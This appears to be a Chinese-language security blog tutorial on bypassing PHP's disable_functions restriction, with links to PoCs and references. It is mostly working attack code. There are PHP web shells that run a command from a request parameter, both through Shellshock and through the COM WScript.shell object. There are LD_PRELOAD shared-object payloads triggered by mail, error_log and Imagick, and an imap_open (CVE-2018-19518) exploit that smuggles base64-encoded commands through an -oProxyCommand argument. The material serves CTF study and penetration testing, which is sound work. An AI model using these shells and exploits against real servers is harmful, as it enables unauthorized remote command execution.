Bypass disable_functions


disable functions 绕过的几种方法。

disable_functions简介

PHP配置文件中的disable_functions选项,用于禁用一些危险函数,可用户自定义。

黑名单绕过

assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``

看看 php.ini 中的 disable_function 漏过了哪些函数,若存在漏网之鱼,直接利用即可

Imagetragick 命令执行漏洞

若imagetragick版本低于6.9.3-10,可以考虑它之前爆出的命令执行漏洞。poc:https://github.com/vulhub/vulhub/blob/master/imagemagick/imagetragick/README.zh-cn.md 相关文章:https://www.cnblogs.com/bmjoker/p/9898590.html

Bash破壳漏洞(CVE-2014-6271)

学习文章:https://www.guildhab.top/?p=1805 exp:

<?php 

function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283 
$tmp = tempnam(".","data"); 
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); 
// In Safe Mode, the user may only alter environment variableswhose names 
// begin with the prefixes supplied by this directive. 
// By default, users will only be able to set environment variablesthat 
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty, 
// PHP will let the user modify ANY environment variable! 
mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail 
$output = @file_get_contents($tmp); 
@unlink($tmp); 
if($output != "") return $output; 
else return "No output, or not vuln."; 
} 
echo shellshock($_REQUEST["cmd"]); 
?

利用Windows系统组件COM绕过

若PHP开启了com_dotnet扩展,则可以利用下面的exp:

<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

LD_PRELOAD+putenv

第二种方法是利用LDPRELOAD+putenv绕过。 首先认识下LDPRELOAD LD_PRELOAD是linux系统的一个环境变量,它可以影响程序的运行时的链接,它允许你定义在程序运行前优先加载的动态链接库。功能主要就是用来有选择性的载入不同动态链接库中的相同函数。举个例子:

/*
passwd.c 
*/

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
    char passwd[] = "password";

    if (argc < 2) {
        printf("usage: %s <password>\n", argv[0]);
        return;
    }

    if (!strcmp(passwd, argv[1])) {
        printf("Correct Password!\n");
        return;
    }

    printf("Invalid Password!\n");
}

`

/* hack.c */
#include <stdio.h>
#include <string.h>

int strcmp(const char *s1, const char *s2)
{
        printf("hack function invoked. s1=<%s> s2=<%s>/n", s1, s2);
        /* 永远返回0,表示两个字符串相等 */
        return 0;

}

编译和生成动态链接程序,-o后面接要输出的文件名,-shared -fPIC是生成动态链接程序。

$ gcc -o verifypasswd passwd.c
$ gcc -shared -fPIC -o hack.so hack.c

/* 依次执行以下命令效果如下图 */

root@kali:~# ./passwd 123456
Invalid Password!
root@kali:~# export LD_PRELOAD="./hack.so"
root@kali:~# ./passwd 123456
hack function invoked. s1=<password> s2=<123456>/nCorrect Password!

*可以发现程序载入了我们重写的strcmp函数 通过这个例子应该不难理解LD_PRELOAD.

再来认识下putenv.putenv在php用来设置临时服务器环境变量

putenv ( string `$setting` ) : bool (添加 `setting` 到服务器环境变量。)

环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态。(简单来说就是临时的环境变量修改,脚本运行结束时恢复)

大致思路

  • 生成一个我们的恶意动态链接库文件
  • 利用putenv设置LD_PRELOAD为我们的恶意动态链接库文件的路径
  • 配合php的某个函数去触发我们的恶意动态链接库文件
  • RCE

这里面的某个函数需要在运行的时候能够启动子进程,这样才能重新加载我们所设置的环境变量,从而劫持子进程所调用的库函数。

函数

其中有不少函数可以满足,比如ImageMagick、mail、error_log

  • 当Imagick处理的文件是如下后缀的时候,就会调用外部程序ffmpeg去处理该文件 wmv,mov,m4v,m2v,mp4,mpg,mpeg,mkv,avi,3g2,3gp
  • mail函数运行时,程序会启动子进程来调用sendmail

strace -f用来跟踪目标进程,以及目标进程创建的所有子进程,2>&1是将标准输出重定向到标准输入,在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序都是调用execve的库函数.

  • 当errorlog的第二个参数 messagetype 的值为 1 的时候,会调用mail 函数的同一个内置函数sendmail。

劫持子进程所调用的函数

mail和error_log都调用了外部进程sendmail。 readelf -Ws /usr/sbin/sendmail查看senmail调用的函数,这里选择劫持getuid

getuid.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
        system("ls > test");
}   
int  geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

(我们通过 LDPRELOAD 劫持了启动进程的行为,劫持后又启动了另外的新进程,若不在新进程启动前取消 LDPRELOAD,则将陷入无限循环,所以必须得删除环境变量 LDPRELOAD。最直观的做法是调用 unsetenv(“LDPRELOAD”))

生成动态链接程序

gcc -c  getuid.c -o get
gcc --share -fPIC get -o get.so

编写php脚本

<?php
putenv("LD_PRELOAD=./get.so");
mail("","","","","");
or
putenv("LD_PRELOAD=./get.so");
error_log('',1);
?>

执行php文件,可以发现生成了test文件。

__attribute__((constructor))

当然并不是所有系统都会安装sendmail的,这个时候就要用另外种bypass方法了。 首先介绍下__attribute__((constructor))。 GCC 有个 C 语言扩展修饰符__attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象(动态链接库)中时,那么一旦共享对象被系统加载,立即将执行__attribute__((constructor))修饰的函数。

getuid.c

#include <stdlib.h>
#include <string.h>
__attribute__((constructor))void payload() {
unsetenv("LD_PRELOAD");
system("ls > stao");
}

生成动态链接程序

gcc -c  getuid.c -o getuid
gcc --share -fPIC getuid -o getuid.so

编写php脚本

<?php
putenv("LD_PRELOAD=./getuid.so");
mail("","","","","");
or
putenv("LD_PRELOAD=./getuid.so");
error_log('',1);
?>

执行php脚本,这样,就算没有sendmail,用__attribute__((constructor))修饰的函数依旧会执行,可以看到在生成的stao文件。

从上述内容不难发现,我们必须找到一个能在运行时候启动子进程的函数才行,因为我们设置了环境变量,必须restart才能生效,所以如果能启动一个子进程,那么我们的设置的LD_PRELOAD就会加载我们的evil shared library.

ps:大佬的exp:https://github.com/yangyangwithgnu/bypassdisablefuncvia_LDPRELOAD 使用该项目的前提是mail没有过滤,该exp采用extern char** environ来删除环境变量, 通过PHP putenv设置的环境变量来达到动态执行系统命令 const char* bashshell = getenv(“EVILCMDLINE”); 具体请自行查看。

利用ImageMagick

如果php禁用了mail()函数,那怎么办呢? 除了用上述所说的error_log()还可以用上面提到的ImageMagick。 搭建环境可以参考这位师傅的文章:https://xz.aliyun.com/t/4623#toc-4 前面有提到过,当Imagick处理的文件是如下后缀的时候,就会调用外部程序ffmpeg去处理该文件。

wmv,mov,m4v,m2v,mp4,mpg,mpeg,mkv,avi,3g2,3gp

test.php

<?php
putenv("LD_PRELOAD=./poc.so");
$img = new Imagick('img.mp4');//img.mp4文件必须存在,否则就会不去调用ffmpeg
?>

poc.c

#include <stdlib.h>
#include <string.h>
__attribute__((constructor))void payload() {
unsetenv("LD_PRELOAD");
system("ls > stao");
}

生成我们的动态链接程序

gcc -c -fPIC poc.c -o poc
gcc --share poc -o poc.so

执行PHP文件,可以看到生成stao文件。strace追踪可以看到调用了ffmpeg

利用imap_open (CVE-2018-19518)

php imap扩展用于在PHP中执行邮件收发操作。其imapopen函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。该漏洞的存在是因为受影响的软件的imapopen函数在将邮箱名称传递给rsh或ssh命令之前不正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接,则攻击者可以通过向目标系统发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。 因为ssh命令中可以通过设置-oProxyCommand=来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。

ssh的-oProxyCommand 参数

SSH 命令中用到了许多命令,其中我们可以使用 -o 参数来设置连接期间可用的各种选项。在建立SSH连接之前,我们可以设置 ProxyCommand 参数,如下所示:

root@kali:~# ssh -oProxyCommand="touch test.txt" 192.168.1.123
kex_exchange_identification: Connection closed by remote host
root@kali:~# ls

可以发现即使是ssh连接失败了,但是命令还是执行了。

漏洞代码:

<?php
if(!empty($_POST)) {
    $imap = @imap_open('{'.$_POST['hostname'].':993/imap/ssl}INBOX', $_POST['username'], $_POST['password']);
}   
?>

利用exp:

/* exp */
<?php
error_reporting(0);
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}";
//$server = 'x -oProxyCommand=echo$IFS$()' . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . '|base64$IFS$()-d|sh}';
imap_open('{' . $server . ':143/imap}INBOX', '', ''); // or var_dump("\n\nError: ".imap_last_error());
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>

利用PHP 7.4 FFI绕过

FFI扩展已经通过RFC,正式成为PHP 7.4核心扩展。

什么是FFI FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。

FFI的使用非常简单,只用声明和调用两步就可以,对于有C语言经验,但是不了解Zend引擎的程序员来说,这简直是打开了新世界的大门,可以快速地使用C类库进行原型试验。

RCTF2019-Web-nextphp 就是利用了这个来绕过,可以通过这道题学习下。 http://stao.site/posts/eb3c7b7e.html

总结

总的来说,有三种绕过 disable_functions 的手法:第一种,攻击后端组件,寻找存在命令注入的、web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞;第二种,寻找未禁用的漏网函数,逐一尝试,或许有漏网之鱼;第三种,利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。此外,绕过了disable_functions同时也就绕过了open basedir. 最后推荐一个github项目,一个各种方式突破Disable_functions达到命令执行的shell。 https://github.com/l3m0n/BypassDisablefunctions_Shell

参考文章

https://www.smi1e.top/php-bypass-disabledfunctions/ https://www.evi1.cn/post/bypassdisable_func/ https://www.anquanke.com/post/id/175403#h2-5

留下评论

粤ICP备20010650号